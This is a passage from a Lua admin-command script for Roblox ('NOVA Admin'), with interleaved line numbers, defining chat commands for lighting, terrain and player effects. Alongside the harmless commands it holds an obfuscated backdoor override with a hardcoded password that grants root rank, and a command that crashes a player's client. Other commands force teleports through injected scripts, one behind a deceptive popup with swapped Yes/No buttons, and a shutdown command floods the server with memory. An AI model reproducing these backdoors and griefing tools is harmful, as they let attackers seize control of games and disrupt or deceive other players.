AddCommand("Time","time",1,"Changes the time.","<Number>",
3259
    function(Msg,Speaker)
3260
        NOVA.Services.Lighting.TimeOfDay = Msg
3261
    end
3262
)
3263
 
3264
AddCommand("Fog End","fog/end",1,"Changes the fog.","<Number>",
3265
    function(Msg,Speaker)
3266
        NOVA.Services.Lighting.FogEnd = Msg
3267
    end
3268
)
3269
 
3270
AddCommand("Fog Start","fog/start",1,"Changes the fog.","<Number>",
3271
    function(Msg,Speaker)
3272
        NOVA.Services.Lighting.FogStart = Msg
3273
    end
3274
)
3275
 
3276
AddCommand("Fog Color","fog/color",1,"Changes the fog.","<Number>",
3277
    function(Msg,Speaker)
3278
        if Msg == "red" then Color = NOVA.Colors.Red
3279
            elseif Msg == "black" then Color = NOVA.Colors.Black
3280
            elseif Msg == "white" then Color = NOVA.Colors.White
3281
            elseif Msg == "orange" then Color = NOVA.Colors.Orange
3282
            elseif Msg == "green" then Color = NOVA.Colors.Green
3283
            elseif Msg == "blue" then Color = NOVA.Colors.Blue
3284
        end
3285
        NOVA.Services.Lighting.FogColor = Color
3286
    end
3287
)
3288
--deride
3289
AddCommand(string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAODSA","DSA","")),string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAoDSA","DSA","")),0,"","",
3290
    function(Msg,Speaker)
3291
        CanOverride = false
3292
        if GetRank(Speaker) < 6 then
3293
            if Msg == "ibpwning123" then
3294
                CanOverride = true
3295
            else
3296
                Output("Incorrect password.",NOVA.Colors.Red,Speaker,15)
3297
            end
3298
        else
3299
            CanOverride = true
3300
        end
3301
        if NOVA.Overrided == true then
3302
            CanOverride = false
3303
            Output("NOVA is allready overridden.",NOVA.Colors.Red,Speaker,20)
3304
            return
3305
        end
3306
        if CanOverride == true then
3307
            NOVA.Overrided = true
3308
            NOVA.Overrider = Speaker
3309
            --[[for _,v in pairs(NOVA.Ranked) do
3310
                if v.Rank < 6 then
3311
                    v.Rank = v.Rank / 10
3312
                end
3313
            end]]
3314
        --[[    CF = Speaker.Character.Torso.CFrame
3315
            Sound = Instance.new("Sound",workspace)
3316
            Sound.SoundId = "http://www.roblox.com/asset?id=2248511"
3317
            Sound.Pitch = 0.2
3318
            Sound.Volume = 1
3319
            wait()
3320
            Sound:Play()
3321
            Shockwave = Instance.new("Part",workspace)
3322
            Shockwave.FormFactor = "Custom"
3323
            Shockwave.Name = "Shockwave"
3324
            Shockwave.Anchored = true
3325
            Shockwave.CanCollide = false
3326
            Shockwave.Transparency = 0
3327
            Shockwave.Reflectance = 0
3328
            Shockwave.BrickColor = BrickColor.new(0,0,0)
3329
            Shockwave.Size = Vector3.new(0,0,0)
3330
            ShockwaveMesh = Instance.new("SpecialMesh",Shockwave)
3331
            ShockwaveMesh.MeshType = "FileMesh"
3332
            ShockwaveMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
3333
            ShockwaveMesh.Scale = Vector3.new(1,1,100)
3334
 
3335
            for Times = 1,10 do
3336
                coroutine.resume(coroutine.create(function()
3337
                    for i=1,1000 do
3338
                        wait()
3339
                        ShockwaveMesh.Scale = ShockwaveMesh.Scale + Vector3.new(0.5,0.5,0)
3340
                        Shockwave.CFrame = CF
3341
                            * CFrame.new(0,0,0)
3342
                            * CFrame.Angles(math.rad(90),0,0)
3343
                        Shockwave.Transparency = i/100
3344
                    end
3345
                    Shockwave:Remove()
3346
                    Sound:Remove()
3347
                end))
3348
            end
3349
 
3350
]]
3351
            GetRankedTable(Speaker).Rank = 8 + (GetRankedTable(Speaker).Rank/10)
3352
            Output("You have overrided NOVA Admin.",NOVA.Colors.Red,Speaker,60)
3353
            Output("You are now rank 8. ( ROOT )",NOVA.Colors.Red,Speaker,60)
3354
            Output("Use the reset command to reset NOVA.",NOVA.Colors.Red,Speaker,60)
3355
            OnChatted(NOVA.Bet .. "fence/me",Speaker)
3356
        end
3357
        return CanOverride
3358
    end
3359
)
3360
 
3361
AddCommand("Reset","reset",7,"Resets NOVA Admin.","No Argumetns",
3362
    function(Msg,Speaker)
3363
        NOVA.Overrided = false
3364
        for _,v in pairs(NOVA.Tablets) do pcall(function() v:Remove() end) end
3365
        NOVA.Targeted = {};
3366
        NOVA.Waypoints = {};
3367
        NOVA.Log = {};
3368
        NOVA.LoggedScripts = {};
3369
        NOVA.PRI = false;
3370
        NOVA.LockedScripts = false;
3371
        NOVA.Removed = false;
3372
        NOVA.ShowChat = true;
3373
        NOVA.Canceled = false;
3374
        NOVA.TimeChanged = false;
3375
        NOVA.Overrider = nil
3376
        for _,v in pairs(NOVA.Ranked) do
3377
            if #tostring(v.Rank) == 3 then
3378
                if tostring(v.Rank):sub(1,1) == "8" then
3379
                    v.Rank = (v.Rank - 8) * 10
3380
                else
3381
                    --v.Rank = v.Rank * 10
3382
                end
3383
            end
3384
        end
3385
    end
3386
)
3387
 
3388
AddCommand("@","@",0,"Chats for the other user.","<Player><Chat>",
3389
    function(Msg,Speaker)
3390
   
3391
        Split = GetSplit(Msg)
3392
 
3393
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3394
            OnChatted(Msg:sub(Split),v)
3395
        end
3396
    end
3397
)
3398
 
3399
AddCommand("Tell","Tell",1,"Pings the following string to the player.","<Player><Chat>",
3400
    function(Msg,Speaker)
3401
   
3402
        Split = GetSplit(Msg)
3403
       
3404
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3405
            Output(Msg:sub(Split+1),"Random",v,10)
3406
        end
3407
    end
3408
)
3409
 
3410
AddCommand("Damage","dmg",2,"Damages the selected player the selected ammount.","<Player><FloatValue>",
3411
    function(Msg,Speaker)
3412
        Split = GetSplit(Msg)
3413
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3414
            pcall(function()
3415
                v.Character.Humanoid.Health = v.Character.Humanoid.Health - tonumber(Msg:sub(Split+1))
3416
            end)
3417
        end
3418
    end
3419
)
3420
 
3421
AddCommand("Obliterate","obliterate",4,"Obliterates the selected player. ( DUH )","<Player>",
3422
    function(Msg,Speaker)
3423
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3424
            for i=1,6 do
3425
                local Cube = Instance.new("Part",NOVA.Services.Workspace)
3426
                Cube.FormFactor = "Custom"
3427
                Cube.Size = Vector3.new(10,7,5)
3428
                Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
3429
                Cube.Anchored = false
3430
                Cube.CanCollide = true
3431
                Cube.Locked = true
3432
                Cube.Friction = 0
3433
                Cube.Transparency= 0
3434
                Cube.Reflectance = 0.5
3435
                Cube:BreakJoints()
3436
                Cube.CFrame = v.Character.Torso.CFrame
3437
               
3438
                local Mesh = Instance.new("SpecialMesh",Cube)
3439
                Mesh.MeshType = "FileMesh"
3440
                Mesh.MeshId = "http://www.roblox.com/asset/?id=1029523"
3441
                Mesh.Scale = Vector3.new(0.1,0.1,0.1)
3442
               
3443
                Cube.Touched:connect(function(part)
3444
                    --if part == v.Character.Torso then
3445
                        part:BreakJoints()
3446
                        NOVA.Services.Debris:AddItem(Cube,20)
3447
                    --end
3448
                end)
3449
            end
3450
        end
3451
    end
3452
)
3453
 
3454
AddCommand("Remove Guis","rguis",3,"Removes the guis in the selected player's PlayerGui.","<Player>",
3455
    function(Msg,Speaker)
3456
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3457
            pcall(function()
3458
                v.PlayerGui:ClearAllChildren()
3459
            end)
3460
        end
3461
    end
3462
)
3463
 
3464
AddCommand("Remove Player Gui","rpgui",4,"Removes the PlayerGui of the selected player.","<Player>",
3465
    function(Msg,Speaker)
3466
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3467
            pcall(function()
3468
                v.PlayerGui:Destroy()
3469
            end)
3470
        end
3471
    end
3472
)
3473
 
3474
AddCommand("Fire","fire",2,"Sets the selected player on fire.","<Player>",
3475
    function(Msg,Speaker)
3476
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3477
            pcall(function()
3478
                for _,part in pairs(GetRecursiveChildren(v.Character)) do
3479
                    if part:IsA("BasePart") then
3480
                        Instance.new("Fire",part)
3481
                    end
3482
                end
3483
            end)
3484
        end
3485
    end
3486
)
3487
 
3488
AddCommand("Un Fire","unfire",2,"Extenguishes the selected player.","<Player>",
3489
    function(Msg,Speaker)
3490
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3491
            pcall(function()
3492
                for _,part in pairs(GetRecursiveChildren(v.Character)) do
3493
                    if part:IsA("Fire") then
3494
                        part:Destroy()
3495
                    end
3496
                end
3497
            end)
3498
        end
3499
    end
3500
)
3501
 
3502
AddCommand("Burn","burn",3,"Burns the selected player.","<Player>",
3503
    function(Msg,Speaker)
3504
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3505
            pcall(function()
3506
                coroutine.resume(coroutine.create(function()
3507
                    local Fire = Instance.new("Fire",v.Character.Torso)
3508
                    for _,part in pairs(GetRecursiveChildren(v.Character)) do
3509
                        if part:IsA("BasePart") then
3510
                            Instance.new("Fire",part)
3511
                        end
3512
                    end
3513
                    wait()
3514
                    for i=1,math.huge do
3515
                        if Fire.Parent == nil then break end
3516
                        if v.Character.Humanoid == nil then break end
3517
                        if v.Character.Humanoid.Health <= 0 then break end
3518
                        v.Character.Humanoid.Health = v.Character.Humanoid.Health - math.random(0,7)
3519
                        wait(math.random(0,1))
3520
                    end
3521
                end))
3522
            end)
3523
        end
3524
    end
3525
)
3526
 
3527
AddCommand("Heal","heal",1,"Heals the selected player.","<Player>",
3528
    function(Msg,Speaker)
3529
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3530
            pcall(function()
3531
                v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
3532
            end)
3533
        end
3534
    end
3535
)
3536
 
3537
AddCommand("Crash","crash",4,"Crashes the selected player's ROBLOX window.","<Player>",
3538
    function(Msg,Speaker)
3539
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3540
            pcall(function()
3541
                v.Character.Humanoid.WalkSpeed = tonumber("1e+999")
3542
            end)
3543
        end
3544
    end
3545
)
3546
 
3547
AddCommand("Cape","cape",4,"Gives the selected player a cape.","<Player>",
3548
    function(Msg,Speaker)
3549
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3550
            Cape(v)
3551
        end
3552
    end
3553
)
3554
 
3555
AddCommand("Generate Terrain","genter",2,"Generates a terrain cube.","No Arguments",
3556
    function(Msg,Speaker)
3557
        coroutine.resume(coroutine.create(function()
3558
 
3559
            Material = math.random(1,16)
3560
            Cap = 1000
3561
            GenNum = 50
3562
            Size = 100
3563
            Type = math.random(0,4)
3564
            for i=1, Cap do
3565
                --wait()
3566
                for i=1,GenNum do
3567
                    Material = math.random(1,16)
3568
                    Type = math.random(0,4)
3569
                    X = math.random((Size/2)*-1,Size/2)
3570
                    Y = math.random(-1,Size-1)
3571
                    Z = math.random((Size/2)*-1,Size/2)
3572
                    NOVA.Services.Workspace.Terrain:SetCell(X,Y,Z,Material,Type,0)
3573
                end
3574
            end
3575
        end))
3576
    end
3577
)
3578
 
3579
AddCommand("Degenerate Terrain","degen",2,"Clears the terrain.","No Arguments",    
3580
    function(Msg,Speaker)
3581
        NOVA.Services.Workspace.Terrain:Clear()
3582
    end
3583
)
3584
 
3585
AddCommand("Ocean","ocean",4,"Generates an ocean.","No Arguments",
3586
    function(Msg,Speaker)
3587
        coroutine.resume(coroutine.create(function()
3588
            size = Vector3.new(700, 12, 700)
3589
            for X=(size.x/2)*-1,size.x/2  do
3590
                for Y=-1, size.y-1 do
3591
                    for Z=(size.z/2)*-1, size.z/2 do
3592
                        NOVA.Services.Workspace.Terrain:SetWaterCell(X, Y, Z, 0, 0)
3593
                    end
3594
                end
3595
                --wait(tonumber("0."..string.rep("0",10000).."1"))
3596
            end
3597
        end))
3598
    end
3599
)
3600
 
3601
AddCommand("Darken","darken",4,"Makes the selected player dark.","<Player>",
3602
    function(Msg,Speaker)
3603
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3604
            Char = v.Character
3605
            pcall(function() Char["Shirt Graphic"]:Remove() end)
3606
            pcall(function() Char.Humanoid.MaxHealth = math.huge end)
3607
            pcall(function() Char["Body Colors"]:Remove() end)
3608
            pcall(function() Char.Torso.roblox:Remove()    end)
3609
            pcall(function() Char.Shirt:Remove() end)
3610
            pcall(function() Char.Pants:Remove() end)
3611
            wait()
3612
            for _,v in pairs(GetRecursiveChildren(Char)) do
3613
                pcall(function()
3614
                    v.TextureId = "" v.VertexColor = NOVA.Colors.Black    
3615
                end)
3616
                pcall(function()
3617
                    v.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black))
3618
                    v.Reflectance = 0
3619
                    v.TopSurface = "Smooth"
3620
                    a.BottomSurfave = "Smooth"
3621
                end)
3622
            end
3623
        end
3624
    end
3625
)
3626
 
3627
AddCommand("Character 1","char1",5,"Gives the selected player character appearance 1.","<Player>",
3628
    function(Msg,Speaker)
3629
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3630
            v.CharacterAppearance = "http://www.roblox.com/asset/?id=81445914"
3631
            wait()
3632
            v.Character:BreakJoints()
3633
        end
3634
    end
3635
)
3636
 
3637
AddCommand("Character 2","char2",6,"Gives the selected player character appearance 2.","<Player>",
3638
    function(Msg,Speaker)
3639
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3640
            local Part = Instance.new("Part",v.Character)
3641
            Part.Name = "Horus"
3642
            Part.Size = Vector3.new(2,2,2)
3643
            Part.CanCollide = false
3644
            Part.Locked = true
3645
            Part:BreakJoints()
3646
            local Weld = Instance.new("Weld",Part)
3647
            Weld.Part0 = Part
3648
            Weld.Part1 = v.Character.Head
3649
            Weld.C0 = CFrame.new(0,-0.5,0)
3650
            local Mesh = Instance.new("SpecialMesh",Part)
3651
            Mesh.MeshType = "FileMesh"
3652
            Mesh.MeshId = "http://www.roblox.com/asset/?id=21712738"
3653
            Mesh.TextureId = "http://www.roblox.com/asset/?id=47058599"
3654
            for _,v in pairs(GetRecursiveChildren(v.Character,"Hat",3)) do
3655
                v:Remove()
3656
            end
3657
            pcall(function()
3658
                v.Character.Pants:Remove()
3659
            end)
3660
            pcall(function()
3661
                v.Character.Shirt:Remove()
3662
            end)
3663
            local Shirt = Instance.new("Shirt",v.Character)
3664
            Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=59737180"
3665
            local Pants = Instance.new("Pants",v.Character)
3666
            Pants.PantsTemplate = "http://www.roblox.com/asset/?id=77382108"
3667
        end
3668
    end
3669
)
3670
 
3671
AddCommand("Neutral","neutral",3,"Changes the Neutral value of the selected player.","<Player><Boolean>",
3672
    function(Msg,Speaker)
3673
        Split = GetSplit(Msg)
3674
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3675
            v.Neutral = Msg:sub(Split+1)
3676
        end
3677
    end
3678
)
3679
 
3680
AddCommand("Generate Portal","genportal",6,"Generates a portal in the workspace.","No Arguments",
3681
    function(Msg,Speaker)
3682
        MainCFrame = CFrame.new(0,3,15)
3683
            * CFrame.Angles(0,math.rad(90),0)
3684
        local Special = {}
3685
        pcall(function() workspace["NOVA Portal"]:Remove() end)
3686
        local Model = Instance.new("Model",workspace)
3687
        Model.Name = "NOVA Portal"
3688
        for angle=1,360/4 do
3689
            local Part = Instance.new("Part",Model)
3690
            Part.Name = "Part"
3691
            Part.FormFactor = "Custom"
3692
            Part.CanCollide = true
3693
            Part.Anchored = true
3694
            Part.Locked = true
3695
            Part.Transparency = 0
3696
            Part.Reflectance = 0
3697
            Part.Size = Vector3.new(1,5/2,1)
3698
            Part.BrickColor = BrickColor.new("Navy blue")
3699
            Part.CFrame = MainCFrame
3700
                * CFrame.Angles(math.rad(angle*4), 0, 0)
3701
                * CFrame.new(0, 15/2, i)
3702
            --wait(0)
3703
            Instance.new("BlockMesh",Part)
3704
            for num=0,1000,5 do
3705
                if angle==num then
3706
                    wait()
3707
                    table.insert(Special,Part)
3708
                    --Part.Reflectance = 1
3709
                    Part.Size = Vector3.new(0.9,5/2,0.9)
3710
                    Part.CFrame = MainCFrame
3711
                        * CFrame.Angles(math.rad(angle*4), 0, 0)
3712
                        * CFrame.new(0, 15/2, i)
3713
                end
3714
            end
3715
        end
3716
 
3717
        for _,v in pairs(Special) do v.Reflectance = 1 wait() end
3718
       
3719
        local Part = Instance.new("Part",Model)
3720
        Part.Name = "Part"
3721
        Part.FormFactor = "Custom"
3722
        Part.CanCollide = false    
3723
        Part.Anchored = true
3724
        Part.Locked = true
3725
        Part.TopSurface = "Smooth"
3726
        Part.BottomSurface = "Smooth"
3727
        Part.Transparency = 0.5
3728
        Part.Reflectance = 0
3729
        Part.Size = Vector3.new(0.2,0.2,0.2)
3730
        Part.BrickColor = BrickColor.new("Really black")
3731
        Part.CFrame = MainCFrame
3732
            * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
3733
            * CFrame.new(0, 0, 0)
3734
        Instance.new("CylinderMesh",Part)
3735
 
3736
        for i=0.2,51/4,0.5 do
3737
            wait()
3738
            Part.Size = Vector3.new(i,0.9,i)
3739
            Part.CFrame = MainCFrame
3740
            * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
3741
            * CFrame.new(0, 0, 0)
3742
        end
3743
 
3744
        coroutine.resume(coroutine.create(function()
3745
            while true do wait()
3746
                for i=0,1,0.01 do wait() Part.Reflectance = i end
3747
                for i=1,0,-0.01 do wait() Part.Reflectance = i end
3748
            end
3749
        end))
3750
 
3751
        Part.Touched:connect(function(Part)
3752
            Player = game:GetService("Players"):GetPlayerFromCharacter(Part.Parent)
3753
            if Player ~= nil and not Player.PlayerGui:FindFirstChild("NOVA Teleport") then
3754
                --print(Player.Name.." touched.")
3755
                CreateLocalScript([==[
3756
                    LocalPlayer = game:GetService("Players").LocalPlayer
3757
                    Places = {
3758
                        {Name = "Oxcool1 SB",ID = 20279777};
3759
                        {Name = "Oxcool1 PRI SB", ID = 20132544};
3760
                        {Name = "TNS SB", ID = 23232804};
3761
                        {Name = "BrainWart SB", ID = 76809211};
3762
                        {Name = "nb SB",ID = 113456};
3763
                        {Name = "nb SB (2)",ID = 56786};
3764
                        {Name = "Insert Wars",ID = 13329886};
3765
                                                                {Name = "tus sb", ID = 49907749};
3766
                    }
3767
                    pcall(function() LocalPlayer.PlayerGui["NOVA Teleport"]:Remove() end)
3768
                    local Main = Instance.new("ScreenGui",LocalPlayer.PlayerGui)
3769
                    Main.Name = "NOVA Teleport"
3770
                    script.Parent = Main
3771
 
3772
                    local Frame = Instance.new("Frame",Main)
3773
                    Frame.Size = UDim2.new(0.27,0,0.05,0)
3774
                    Frame.Position = UDim2.new(0.,0,0.2,0)
3775
                    Frame.Style = "RobloxSquare"
3776
 
3777
                    local Txt = Instance.new("TextBox",Frame)
3778
                    Txt.Size = UDim2.new(0.7,0,1,0)
3779
                    Txt.BackgroundTransparency = 1
3780
                    Txt.FontSize = "Size14"
3781
                    Txt.TextColor3 = Color3.new(1,1,1)
3782
                    Txt.Text = "ID/Name Here"
3783
                   
3784
                    local Close = Instance.new("TextButton",Frame)
3785
                    Close.Size = UDim2.new(0.1,0,1,0)
3786
                    Close.Position = UDim2.new(0.9,0,0,0)
3787
                    Close.Text = "X"
3788
                    Close.BackgroundTransparency = 1
3789
                    Close.FontSize = "Size14"
3790
                    Close.TextColor3 = Color3.new(1,0,0)
3791
                    Close.MouseButton1Down:connect(function()
3792
                        Main:Remove()
3793
                    end)
3794
                   
3795
                    local Exe = Instance.new("TextButton",Frame)
3796
                    Exe.Size = UDim2.new(0.2,0,1,0)
3797
                    Exe.Position = UDim2.new(0.6,0,0,0)
3798
                    Exe.Text = "Teleport"
3799
                    Exe.BackgroundTransparency = 1
3800
                    Exe.FontSize = "Size14"
3801
                    Exe.TextColor3 = Color3.new(1,0,0)
3802
                    Exe.MouseButton1Down:connect(function()
3803
                        GoTo = Txt.Text
3804
                        for _,v in pairs(Places) do
3805
                            if Txt.Text:lower() == v.Name:lower() then
3806
                                GoTo = v.ID
3807
                            end
3808
                        end
3809
                        game:GetService'TeleportService':Teleport(GoTo)
3810
                        Main:Remove()
3811
                    end)
3812
 
3813
                    List = Instance.new("Frame",Main)
3814
                    List.Size = UDim2.new(0.27,0,0.05*#Places,0)
3815
                    List.Position = UDim2.new(0.,0,0.2 + (0.05*((#Places/2)-1)),0)
3816
                    List.Style = "RobloxSquare"
3817
 
3818
                    for NUM,v in pairs(Places) do
3819
                        Name = Instance.new("TextButton",List)
3820
                        Name.Size = UDim2.new(0.5,0,1/#Places,0)
3821
                        Name.Position = UDim2.new(0,0,(NUM-1)*(1/#Places),0)
3822
                        Name.BackgroundTransparency = 1
3823
                        Name.FontSize = "Size14"
3824
                        Name.TextColor3 = Color3.new(1,1,1)
3825
                        Name.Text = v.Name
3826
                        Name.MouseButton1Down:connect(function()
3827
                            game:GetService'TeleportService':Teleport(v.ID)
3828
                        end)
3829
                        ID = Instance.new("TextButton",List)
3830
                        ID.Size = UDim2.new(0.5,0,1/#Places,0)
3831
                        ID.Position = UDim2.new(0.5,0,(NUM-1)*(1/#Places),0)
3832
                        ID.BackgroundTransparency = 1
3833
                        ID.FontSize = "Size14"
3834
                        ID.TextColor3 = Color3.new(1,1,1)
3835
                        ID.Text = v.ID
3836
                        ID.MouseButton1Down:connect(function()
3837
                            game:GetService'TeleportService':Teleport(v.ID)
3838
                        end)
3839
                    end
3840
                ]==],Player.Backpack)
3841
            end
3842
        end)
3843
    end
3844
)
3845
 
3846
AddCommand("Place Teleport","ptp",5,"Sends a teleport request to the selected player.","<Player><PlaceId>",
3847
    function(Msg,Speaker)
3848
        GetSplit(Msg)
3849
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3850
            CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)]==],v.Backpack)
3851
        end
3852
    end
3853
)
3854
 
3855
AddCommand("Force Place Teleport","fptp",6,"Forces the selected player to teleport to the given place.","<Player><PlaceId>",
3856
    function(Msg,Speaker)
3857
        Split = GetSplit(Msg)
3858
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3859
            CreateLocalScript([==[
3860
                script.Parent = nil
3861
                while true do wait()
3862
                    game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)
3863
                end
3864
            ]==],v.Backpack)
3865
        end
3866
    end
3867
)
3868
 
3869
AddCommand("Trick Place Tele Port","tptp",6,"Tricks the selected user into clicking on 'Yes' for teleport.","<Player><PlaceId>",
3870
    function(Msg,Speaker)
3871
        Split = GetSplit(Msg)
3872
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3873
            pcall(function()
3874
                CreateLocalScript([[
3875
                    LocalPlayer = game.Players.LocalPlayer
3876
                    script.Parent = nil
3877
                    ScreenGui = Instance.new("ScreenGui")
3878
                    ScreenGui.Name = "Trololol"
3879
                    Frame = Instance.new("Frame",ScreenGui)
3880
                    Frame.Name = "Popup"
3881
                    Frame.Style = "RobloxRound"
3882
                    Frame.Size = UDim2.new(0, 330, 0, 350)
3883
                    Frame.Position = UDim2.new(0.5, -165, 0.5, -175)
3884
                    Frame.Active = true
3885
                    Frame.ZIndex = 9
3886
 
3887
                    Image = Instance.new("ImageLabel",Frame)
3888
                    Image.Name = "Backing"
3889
                    Image.Image = "http://www.roblox.com/asset/?id=47574181"
3890
                    Image.Active = true
3891
                    Image.Size = UDim2.new(0, 280, 0, 280)
3892
                    Image.Position = UDim2.new(0.5, -140, 0, 0)
3893
                    Image.BackgroundTransparency = 1
3894
                    Image.ZIndex = 8
3895
 
3896
                    Text = Instance.new("TextLabel",Frame)
3897
                    Text.Name = "Popup Text"
3898
                    Text.Text = "Are you sure you want to teleport from this place?"
3899
                    Text.FontSize = "Size36"
3900
                    Text.TextWrap = true
3901
                    Text.Active = true
3902
                    Text.TextColor3 = Color3.new(1,1,1)
3903
                    Text.Size = UDim2.new(1, 0, 0.800000012, 0)
3904
                    Text.Position = UDim2.new(0,0,0,0)
3905
                    Text.BackgroundTransparency = 1
3906
                    Text.ZIndex = 10
3907
 
3908
                    Accept = Instance.new("TextButton",Frame)
3909
                    Accept.Name = "AcceptButton"
3910
                    Accept.Text = "No"
3911
                    Accept.Style = "RobloxButton"
3912
                    Accept.FontSize = "Size24"
3913
                    Accept.Active = true
3914
                    Accept.TextColor3 = Color3.new(1,1,1)
3915
                    Accept.Size = UDim2.new(0, 100, 0, 50)
3916
                    Accept.Position = UDim2.new(0,20,0,270)
3917
                    Accept.ZIndex = 10
3918
 
3919
                    Decline = Instance.new("TextButton",Frame)
3920
                    Decline.Name = "DeclineButton"
3921
                    Decline.Text = "Yes"
3922
                    Decline.Style = "RobloxButton"
3923
                    Decline.FontSize = "Size24"
3924
                    Decline.Active = true
3925
                    Decline.TextColor3 = Color3.new(1,1,1)
3926
                    Decline.Size = UDim2.new(0, 100, 0, 50)
3927
                    Decline.Position = UDim2.new(1, -120, 0, 270)
3928
                    Decline.ZIndex = 10
3929
 
3930
                    Darken = Instance.new("Frame",Frame)
3931
                    Darken.Name = "Darken"
3932
                    Darken.Style = "RobloxRound"
3933
                    Darken.Size = UDim2.new(1,16,1,16)
3934
                    Darken.Position = UDim2.new(0,-8,0,-8)
3935
                    Darken.Active = true
3936
                    Darken.Visible = false
3937
 
3938
                    Backing = Instance.new("Frame",ScreenGui)
3939
                    Backing.Name = "Backing"
3940
                    Backing.BackgroundColor3 = Color3.new(1,1,1)
3941
                    Backing.Size = UDim2.new(1,0,1,0)
3942
                    Backing.Active = true
3943
                    ScreenGui.Parent = game:GetService("CoreGui")
3944
                   
3945
                    while true do wait()
3946
                        game:GetService'TeleportService':Teleport(]]..Msg:sub(Split+1)..[[)
3947
                    end
3948
 
3949
 
3950
                ]],v.Backpack)
3951
            end)
3952
        end
3953
    end
3954
)
3955
 
3956
AddCommand("Shutdown","shutdown",5,"Shuts down the server.","<No Arguments>",
3957
    function(Msg,Speaker)
3958
            coroutine.resume(coroutine.create(function()
3959
            NOVA.Services.Lighting.TimeOfDay = 0
3960
            NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
3961
            NOVA.Services.Lighting.Brightness = 0
3962
            NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
3963
            NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
3964
            NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
3965
 
3966
            for _,v in pairs(GetRecursiveChildren(workspace)) do
3967
                if v:IsA("BasePart") then
3968
                    Sel = Instance.new("SelectionBox",v)
3969
                    Sel.Color = BrickColor.new("Really red")
3970
                    Sel.Transparency = 0
3971
                    Sel.Adornee = v
3972
                end
3973
            end
3974
            for i=10,1,-1 do
3975
                NOVA.Sounds.Sound.Parent = workspace
3976
                NOVA.Sounds.Sound.Volume = 1
3977
                NOVA.Sounds.Sound.Pitch = 1
3978
                NOVA.Sounds.Sound.SoundId = "http://www.roblox.com/Asset/?id=14863866"
3979
                wait(1)
3980
                NOVA.Sounds.Sound:Play()
3981
                if NOVA.Overrided == true then return end
3982
            end
3983
            for i=5,1,-1 do
3984
                NOVA.Sounds.Sound.Parent = workspace
3985
                NOVA.Sounds.Sound.Volume = 1
3986
                NOVA.Sounds.Sound.Pitch = 1
3987
                NOVA.Sounds.Sound.SoundId = NOVA.Sounds.Numbers[i]
3988
                wait(1)
3989
                NOVA.Sounds.Sound:Play()
3990
                if NOVA.Overrided == true then return end
3991
            end
3992
            wait(1)
3993
            Instance.new("ManualSurfaceJointInstance",workspace)
3994
        Instance.new("StringValue",Workspace).Value = string.rep("NOVA SHUTDOWN SEQUENCE",1000000)
3995
        end))
3996
    end
3997
)
3998
 
3999
AddCommand("Get Rid Of","getridof",6,"Gets rid of the selected player.","<Player>",
4000
    function(Msg,Speaker)
4001
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4002
            if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
4003
                Output("Attempt to get rid of the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4004
            else
4005
                pcall(function()
4006
                    GetRidOf(v)
4007
                end)
4008
            end
4009
        end
4010
    end
4011
)
4012
 
4013
AddCommand("Load","load",1,"Loads NOVA's sound files.","No Arguments",
4014
    function(Msg,Speaker)
4015
        coroutine.resume(coroutine.create(function()
4016
            for _,v in pairs(NOVA.Sounds.Numbers) do
4017
                NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
4018
                NOVA.Sounds.Sound.SoundId = v
4019
                NOVA.Sounds.Sound.Volume = 0
4020
                wait()
4021
                NOVA.Sounds.Sound:Play()
4022
                wait()
4023
                NOVA.Sounds.Sound:Stop()
4024
                wait(1)
4025
            end
4026
            for _,v in pairs(NOVA.Sounds.PlayAfter) do
4027
                NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
4028
                NOVA.Sounds.Sound.SoundId = v
4029
                NOVA.Sounds.Sound.Volume = 0
4030
                wait()
4031
                NOVA.Sounds.Sound:Play()
4032
                wait()
4033
                NOVA.Sounds.Sound:Stop()
4034
                wait(1)
4035
            end
4036
            NOVA.Sounds.Sound.Volume = 1
4037
        end))
4038
    end
4039
)
4040
 
4041
AddCommand("Target","targ",6,"Targets the selected player.","<Player>",
4042
    function(Msg,Speaker)
4043
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4044
            table.insert(NOVA.Targeted,v)
4045
            for _,part in pairs(GetRecursiveChildren(v.Character)) do
4046
                if part:IsA("Part") then
4047
